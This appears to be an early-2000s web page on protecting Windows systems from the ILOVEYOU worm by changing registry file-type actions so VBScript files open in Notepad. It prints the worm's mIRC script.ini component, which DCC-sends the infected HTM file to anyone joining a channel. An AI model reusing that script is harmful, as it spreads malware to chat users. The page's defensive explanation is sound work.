Making matters worse, new variants were being produced faster than the virus protection software could be updated. It was reported that more than 10 variants have appeared in the first week of infection. As of January 14, 2002, Symantec was reporting 82 variants.
It appears that it is even possible to catch this by simply browsing an infected web page ... IF you are running Microsoft Internet Explorer and VBScript is enabled (another Microsoft braindead default).
This page describes how to change your system parameters so that the chance of accidentally executing a new variant is reduced to an acceptable level (ie, almost nil).
In general, this is a good thing.
Specifically, a VBScript file is a text file containing program instructions and saved with a .vbs extension. The default action when you double click the file is to execute it (ie, to run the program).
You can get a small amount of protection by changing the default action to Edit in Notepad. However, some email clients (such as Outlook and Outlook Express) ignore the default action and perform the Open action instead. Microsoft has set the default Open action to Execute the program.
All Microsoft Windows systems do not have the VBScript interpreter loaded. It comes with the Microsoft email clients and perhaps with IE 5. You can test your system by clicking here. If the interpreter is loaded, then you should be prompted whether to run or save the program. Select Run and a small, 1 line program will display a dialog box with 3 buttons. (Press any button to close the dialog box.) Otherwise, if the interpreter is not installed, the program source will display in your browser.
Protecting your system from this problem is not as simple as just changing the vbs default action because MS Outlook executes the command associated with HKCR\VBSFile\shell\Open.
The basic procedure is to
Key | Old Value | New Value | ||
---|---|---|---|---|
Open | &Edit | &Edit in Notepad | ||
Open1 | &Open | &Execute VBScript |
Reg Key | Extension | ||
---|---|---|---|
HKCR\JSFile | .js | ||
HKCR\WSHFile | .wsh |
mirc (Microsoft Internet Relay Chat)
[script] ;mIRC Script ; Please dont edit this script... mIRC will corrupt, if mIRC will corrupt... WINDOWS will affect and will not run correctly. thanks ; ;Khaled Mardam-Bey ;http://www.mirc.com ; n0=on 1:JOIN:#:{ n1= /if ( $nick == $me ) { halt } n2= /.dcc send $nick C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.HTM n3=}
In the above code, the 's' in the word 'send' was changed to 's' - the html code for the letter 's'. Without this change, Norton Antivirus 7.5 incorrectly claims that this file contains the IRC.Worm.gen (Generic) virus and automatically deletes the file. How about that, if you simply write about a virus, Norton starts deleting your work. They even put out alerts to people viewing this page on the web warning them that this page contains a virus.
Obviously, this ini file and the related htm file need to be deleted.
Uh, according to Symantec, some of the variants send an html file with a different name.
www.symantec.com describes the ILOVEYOU virus (worm), lists 29 variants (as of 5-15-00), and lists the registry entries that are modified.
ZDNet use to provide fairly complete coverage of the LoveBug problem and instructions on how to completely disable VBScript. (Basically, from Windows Explorer, select View / Options... / File Types / VBScript Script File / Remove. There are slight variations for different versions of Windows.)
Configuring Windows Explorer describes various modifictions that make Windows Explorer much friendlier. This includes simple user interface modifications and various registry modifications.